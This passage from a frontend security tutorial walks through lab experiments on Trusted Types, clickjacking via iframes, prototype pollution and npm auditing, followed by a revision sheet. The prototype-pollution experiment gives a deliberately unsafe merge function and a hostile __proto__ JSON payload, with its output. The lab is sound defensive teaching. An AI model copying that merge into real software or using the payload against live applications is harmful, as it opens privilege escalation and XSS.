This turns DOM XSS from "a bug anywhere in a million lines might be exploitable" into "only the code inside the named policies needs security review", which is how Google eliminated most DOM XSS in its own products. The trusted-types allow-list also stops a bug or a malicious dependency from simply creating its own pass-through policy. Both sanitisers removed the event handler: DOMPurify kept a harmless <img>; the browser's default setHTML() configuration dropped it. Trusted Types is supported in Chromium-based browsers and, more recently, in Safari and Firefox; check Baseline status before relying on it alone.
Experiment 3: framing
A page on another site embedded the "bank" in a near-invisible iframe, the setup for clickjacking:
bank page without frame-ancestors 'none', framed by another site → frame URL: http://127.0.0.1:8096/bank | contents: "Transfer ₹50,000"
bank page with frame-ancestors 'none' → frame URL: chrome-error://chromewebdata/ | contents: ""
With the directive, the browser refused to render the bank inside the frame at all, so there was nothing to click. frame-ancestors supersedes the older X-Frame-Options header (send both for old browsers if you must); use 'self' when your own site needs to frame its pages.
Experiment 4: prototype pollution
A hand-written deep merge, the kind found in many settings and config helpers, given JSON an attacker controls:
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === "object" && source[key] !== null) { target[key] ??= {}; merge(target[key], source[key]); }
else target[key] = source[key];
}
return target;
}
merge({}, JSON.parse('{"theme": "dark", "__proto__": {"isAdmin": true}}'));
prefs.theme: dark | a brand-new, unrelated object's isAdmin: true | ({}).isAdmin: true
after safeMerge, ({}).isAdmin: undefined
a null-prototype map has no inherited keys: false | Map is safer still: undefined
JSON.parse creates an own property literally named __proto__; the merge then reads target["__proto__"], which is Object.prototype, and writes isAdmin onto it, so every object in the program now has isAdmin: true. Code like if (user.isAdmin) on a user object without that property suddenly passes. In the browser this becomes XSS through "gadgets" (libraries that read options from plain objects, as the axios advisories in Start here show); in Node it can become remote code execution. Defences: skip __proto__, constructor and prototype keys; use Object.create(null) or Map for dictionaries built from user input; validate input with a schema; and Object.freeze(Object.prototype) in hardened environments.
Experiment 5: auditing dependencies
npm audit --json on the old project from Start here summarised:
{"info":0,"low":0,"moderate":0,"high":2,"critical":0,"total":2}
axios high advisories: 25 fix: true
lodash high advisories: 6 fix: true
Two direct dependencies, 31 advisories: old versions accumulate known vulnerabilities steadily, and many of axios's are prototype-pollution gadgets like experiment 4's. Audit reports are noisy (many advisories only matter for server-side use, or for functions you never call), so teams triage by reachability and exploitability rather than fixing blindly, but staying current with automated update PRs keeps the backlog small. npm audit only knows about reported vulnerabilities; a newly compromised package (a stolen maintainer token publishing a malicious patch version, as in several 2025 npm incidents) passes it, which is why lockfiles, delayed adoption of brand-new versions, provenance attestations (npm audit signatures) and least-privilege CI tokens matter too.
Try it yourself
- Add
Content-Security-Policy-Report-Onlywith a strict policy to a site you work on and collect violation reports for a day. What would have broken? - Search a codebase for sinks (
innerHTML,dangerouslySetInnerHTML,bypassSecurityTrust,v-html,document.write,eval,new Function) and trace where each value comes from. - Rewrite experiment 4's merge with
structuredCloneplus a schema check (Zod), and test it with the attacker's JSON. - Run
npm auditandnpm audit signatureson a project, then pick one advisory and decide whether it's reachable from your code.
Revision sheet: frontend security
Key ideas
- Threat model: hostile content and links, malicious sites in other tabs, compromised dependencies, stolen tokens; the server must enforce everything that matters.
- XSS: reflected, stored, DOM-based; sources (URL, storage,
postMessage, API data) flowing into sinks (innerHTML,href,eval, scriptsrc); framework escaping and its escape hatches; sanitise with DOMPurify orsetHTML(). - CSP: strict nonce/hash-based
script-srcwith'strict-dynamic',object-src 'none',base-uri 'none',frame-ancestors, report-only rollout and reporting. - Trusted Types: only policy-produced values reach DOM XSS sinks; restrict allowed policy names.
- CSRF: SameSite cookies (Lax default), CSRF tokens,
Origin/Sec-Fetch-Sitechecks, no state changes on GET. - Clickjacking:
frame-ancestors; cross-origin isolation: COOP, COEP, CORP; HSTS with preload. - Prototype pollution: unsafe merges and path setters;
__proto__keys; null-prototype objects andMap; schema validation. - Auth in browsers: OAuth 2.0 authorization code + PKCE, OIDC ID tokens, BFF pattern keeping tokens server-side,
HttpOnlysession cookies, short-lived access tokens with refresh rotation, passkeys (WebAuthn). - Supply chain: lockfiles with integrity, automated updates,
npm audit/signatures and provenance, SRI for third-party scripts, minimal dependencies, least-privilege CI tokens.
Numbers to remember
- Lab: one
innerHTMLline leaked a cookie and a token;textContentor a strict CSP stopped it. - Lab: 31 advisories on two old dependencies.
- HSTS preload requires
max-ageof at least one year (31536000) withincludeSubDomains.
Pitfalls
- Static CSP nonces;
'unsafe-inline'with allow-list policies; CSP added only as a meta tag (noframe-ancestorsor reporting there). - Tokens in
localStorage; long-lived tokens without rotation; tokens in URLs (logged, leaked via Referer). - Trusting
postMessagewithout checkingevent.origin;target="_blank"to untrusted URLs withoutnoopenerin old browsers. - Rendering user-supplied URLs without scheme checks (
javascript:). - Copy-pasting third-party scripts from CDNs without SRI; adding packages without review.
- Treating frontend checks or hidden buttons as authorisation.
Glossary
- Sink: an API that turns a string into code or markup (
innerHTML,eval). - Nonce: a random single-use value tying allowed scripts to one response.
- SRI: Subresource Integrity, hash-pinning a fetched script or stylesheet.
- PKCE: Proof Key for Code Exchange, protecting the OAuth code flow in public clients.
- BFF: Backend for Frontend, a server-side component that holds tokens and exposes a session cookie to the SPA.
- Gadget: existing library code that turns a primitive (like prototype pollution) into a real exploit.